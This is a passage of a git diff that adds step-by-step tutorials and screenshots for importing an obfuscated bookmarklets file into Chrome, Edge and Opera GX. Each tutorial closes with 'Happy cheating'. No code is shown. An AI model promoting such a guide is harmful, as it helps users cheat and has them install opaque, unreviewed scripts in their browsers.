HTML File` +![Google Chrome part 7](/tutorial/chrome/part%20(7).png) +# 8. Click on `Choose File` +![Google Chrome part 8](/tutorial/chrome/part%20(8).png) +# 9. Choose the saved file from step 5 +![Google Chrome part 9](/tutorial/chrome/part%20(9).png) +# 10. Happy cheating +![Google Chrome part 10](/tutorial/chrome/part%20(10).png) \ No newline at end of file diff --git a/tutorial/MicrosoftEdge.md b/tutorial/MicrosoftEdge.md new file mode 100644 index 0000000..85b5cfe --- /dev/null +++ b/tutorial/MicrosoftEdge.md @@ -0,0 +1,30 @@ +# 1. Navigate to `obfuscated` folder +![Microsoft Edge part 1](/tutorial/edge/part%20(1).png) +# 2. Open `Bookmarklets.html` file +![Microsoft Edge part 2](/tutorial/edge/part%20(2).png) +# 3. Click `Download` or `View raw` +![Microsoft Edge part 3](/tutorial/edge/part%20(3).png) +# 4. Ctrl + S or Right click > Save as +![Microsoft Edge part 4](/tutorial/edge/part%20(4).png) +# 5. Save file +![Microsoft Edge part 5](/tutorial/edge/part%20(5).png) +# 6. Right click on favorites bar and click Manage Favorites +![Microsoft Edge part 6](/tutorial/edge/part%20(6).png) +# 7. Click on the three dots > Import favorites +![Microsoft Edge part 7](/tutorial/edge/part%20(7).png) +# 8. Import from IE11 +![Microsoft Edge part 8](/tutorial/edge/part%20(8).png) +# 9. Switch to `Favorites or bookmarks HTML file` +![Microsoft Edge part 9](/tutorial/edge/part%20(9).png) +# 10. Click on `Choose File` +![Microsoft Edge part 10](/tutorial/edge/part%20(10).png) +# 11. Choose the saved file from step 5 +![Microsoft Edge part 11](/tutorial/edge/part%20(11).png) +# 12. Go back to favorites page and create a new folder +![Microsoft Edge part 12](/tutorial/edge/part%20(12).png) +# 13. Open `Other favorites` folder and select all (Ctrl + A) +![Microsoft Edge part 13](/tutorial/edge/part%20(13).png) +# 14. Drag to folder created in step 12 +![Microsoft Edge part 14](/tutorial/edge/part%20(14).png) +# 15. Happy cheating +![Microsoft Edge part 15](/tutorial/edge/part%20(15).png) \ No newline at end of file diff --git a/tutorial/OperaGX.md b/tutorial/OperaGX.md new file mode 100644 index 0000000..5746e89 --- /dev/null +++ b/tutorial/OperaGX.md @@ -0,0 +1,22 @@ +# 1. Navigate to `obfuscated` folder +![Opera GX part 1](/tutorial/operagx/part%20(1).png) +# 2. Open `Bookmarklets.html` file +![Opera GX part 2](/tutorial/operagx/part%20(2).png) +# 3. Click `Download` or `View raw` +![Opera GX part 3](/tutorial/operagx/part%20(3).png) +# 4. Ctrl + S or Right click > Save as +![Opera GX part 4](/tutorial/operagx/part%20(4).png) +# 5. Save file +![Opera GX part 5](/tutorial/operagx/part%20(5).png) +# 6. Right click on bookmarks bar and open bookmarks manager +![Opera GX part 6](/tutorial/operagx/part%20(6).png) +# 7. Click on `Import Bookmarks` +![Opera GX part 7](/tutorial/operagx/part%20(7).png) +# 8. Switch to `Bookmarks HTML file` +![Opera GX part 8](/tutorial/operagx/part%20(8).png) +# 9. Click on `Choose File` +![Opera GX part 9](/tutorial/operagx/part%20(9).png) +# 10. Choose the saved file from step 5 +![Opera GX part 10](/tutorial/operagx/part%20(10).png) +# 11. Happy cheating +![Opera GX part 11](/tutorial/operagx/part%20(11).png) \ No newline at end of file diff --git a/tutorial/chrome/part (1).png b/tutorial/chrome/part (1).png new file mode 100644 index 0000000..238cef1 Binary files /dev/null and b/tutorial/chrome/part (1).png differ diff --git a/tutorial/chrome/part (10).png b/tutorial/chrome/part (10).png new file mode 100644 index 0000000..368773b Binary files /dev/null and b/tutorial/chrome/part (10).png differ diff --git a/tutorial/chrome/part (2).png b/tutorial/chrome/part (2).png new file mode 100644 index 0000000..780ea81 Binary files /dev/null and b/tutorial/chrome/part (2).png differ diff --git a/tutorial/chrome/part (3).png b/tutorial/chrome/part (3).png new file mode 100644 index 0000000..ca1c01c Binary files /dev/null and b/tutorial/chrome/part (3).png differ diff --git a/tutorial/chrome/part (4).png b/tutorial/chrome/part (4).png new file mode 100644 index 0000000..b77d860 Binary files /dev/null and b/tutorial/chrome/part (4).png differ diff --git a/tutorial/chrome/part (5).png b/tutorial/chrome/part (5).png new file mode 100644 index 0000000..246b74a Binary files /dev/null and b/tutorial/chrome/part (5).png differ diff --git a/tutorial/chrome/part (6).png b/tutorial/chrome/part (6).png new file mode 100644 index 0000000..b111c04 Binary files /dev/null and b/tutorial/chrome/part (6).png differ diff --git a/tutorial/chrome/part (7).png b/tutorial/chrome/part (7).png new file mode 100644 index 0000000..e4cea02 Binary files /dev/null and b/tutorial/chrome/part (7).png differ diff --git a/tutorial/chrome/part (8).png b/tutorial/chrome/part (8).png new file mode 100644 index 0000000..54e29d7 Binary files /dev/null and b/tutorial/chrome/part (8).png differ diff --git a/tutorial/chrome/part (9).png b/tutorial/chrome/part (9).png new file mode 100644 index 0000000..ee0cf2c Binary files /dev/null and b/tutorial/chrome/part (9).png differ diff --git a/tutorial/edge/part (1).png b/tutorial/edge/part (1).png new file mode 100644 index 0000000..0ff0739 Binary files /dev/null and b/tutorial/edge/part (1).png differ diff --git a/tutorial/edge/part (10).png b/tutorial/edge/part (10).png new file mode 100644 index 0000000..8652a27 Binary files /dev/null and b/tutorial/edge/part (10).png differ diff --git a/tutorial/edge/part (11).png b/tutorial/edge/part (11).png new file mode 100644 index 0000000..8d6b352 Binary files /dev/null and b/tutorial/edge/part (11).png differ diff --git a/tutorial/edge/part (12).png b/tutorial/edge/part (12).png new file mode 100644 index 0000000..cf521fa Binary files /dev/null and b/tutorial/edge/part (12).png differ diff --git a/tutorial/edge/part (13).png b/tutorial/edge/part (13).png new file mode 100644 index 0000000..e842841 Binary files /dev/null and b/tutorial/edge/part (13).png differ diff --git a/tutorial/edge/part (14).png b/tutorial/edge/part (14).png new file mode 100644 index 0000000..e566c73 Binary files /dev/null and b/tutorial/edge/part (14).png differ diff --git a/tutorial/edge/part (15).png b/tutorial/edge/part (15).png new file mode 100644 index 0000000..5e02c51 Binary files /dev/null and b/tutorial/edge/part (15).png differ diff --git a/tutorial/edge/part (2).png b/tutorial/edge/part (2).png new file mode 100644 index 0000000..afbdfa4 Binary files /dev/null and b/tutorial/edge/part (2).png differ diff --git a/tutorial/edge/part (3).png b/tutorial/edge/part (3).png new file mode 100644 index 0000000..8913aa9 Binary files /dev/null and b/tutorial/edge/part (3).png differ diff --git a/tutorial/edge/part (4).png b/tutorial/edge/part (4).png new file mode 100644 index 0000000..6b193a3 Binary files /dev/null and b/tutorial/edge/part (4).png differ diff --git a/tutorial/edge/part (5).png b/tutorial/edge/part (5).png new file mode 100644 index 0000000..7274468 Binary files /dev/null and b/tutorial/edge/part (5).png differ diff --git a/tutorial/edge/part (6).png b/tutorial/edge/part (6).png new file mode 100644 index 0000000..b8def91 Binary files /dev/null and b/tutorial/edge/part (6).png differ diff --git a/tutorial/edge/part (7).png b/tutorial/edge/part (7).png new file mode 100644 index 0000000..9a0788e Binary files /dev/null and b/tutorial/edge/part (7).png differ diff --git a/tutorial/edge/part (8).png b/tutorial/edge/part (8).png new file mode 100644 index 0000000..a9dc01d Binary files /dev/null and b/tutorial/edge/part (8).png differ diff --git a/tutorial/edge/part (9).png b/tutorial/edge/part (9).png new file mode 100644 index 0000000..684e85c Binary files /dev/null and b/tutorial/edge/part (9).png differ diff --git a/tutorial/operagx/part (1).png b/tutorial/operagx/part (1).png new file mode 100644 index 0000000..017ebde Binary files /dev/null and b/tutorial/operagx/part (1).png differ diff --git a/tutorial/operagx/part (10).png b/tutorial/operagx/part (10).png new file mode 100644 index 0000000..9e01de4 Binary files /dev/null and b/tutorial/operagx/part (10).png differ diff --git a/tutorial/operagx/part (11).png b/tutorial/operagx/part (11).png new file mode 100644 index 0000000..f0ac380 Binary files /dev/null and b/tutorial/operagx/part (11).png differ diff --git a/tutorial/operagx/part (2).png b/tutorial/operagx/part (2).png new file mode 100644 index 0000000..69eb869 Binary files /dev/null and b/tutorial/operagx/part (2).png differ diff --git a/tutorial/operagx/part (3).png b/tutorial/operagx/part (3).png new file mode 100644 index 0000000..67c1b37 Binary files /dev/null and b/tutorial/operagx/part (3).png differ diff --git a/tutorial/operagx/part (4).png b/tutorial/operagx/part (4).png new file mode 100644 index 0000000..f2c3e64 Binary files /dev/null and b/tutorial/operagx/part (4).png differ diff --git a/tutorial/operagx/part (5).png b/tutorial/operagx/part (5).png new file mode 100644 index 0000000..8eda0d5 Binary files /dev/null and b/tutorial/operagx/part (5).png differ diff --git a/tutorial/operagx/part (6).png b/tutorial/operagx/part (6).png new file mode 100644 index 0000000..c0e337b Binary files /dev/null and b/tutorial/operagx/part (6).png differ diff --git a/tutorial/operagx/part (7).png b/tutorial/operagx/part (7).png new file mode 100644 index 0000000..a130cb1 Binary files /dev/null and b/tutorial/operagx/part (7).png differ diff --git a/tutorial/operagx/part (8).png b/tutorial/operagx/part (8).png new file mode 100644 index 0000000..33ede78 Binary files /dev/null and b/tutorial/operagx/part (8).png differ diff --git a/tutorial/operagx/part (9).png b/tutorial/operagx/part (9).png new file mode 100644 index 0000000..6d5fc34 Binary files /dev/null and b/tutorial/operagx/part (9).png differ diff --git a/tutorial/readme.md b/tutorial/readme.md new file mode 100644 index 0000000..8c466b5 --- /dev/null +++ b/tutorial/readme.md @@ -0,0 +1,5 @@ +# Import Bookmarklets Tutorial +## Select the browser you are using +### [Opera GX](OperaGX.md) +### [Microsoft Edge](MicrosoftEdge.md) +### [Google Chrome](GoogleChrome.md) \ No newline at end of file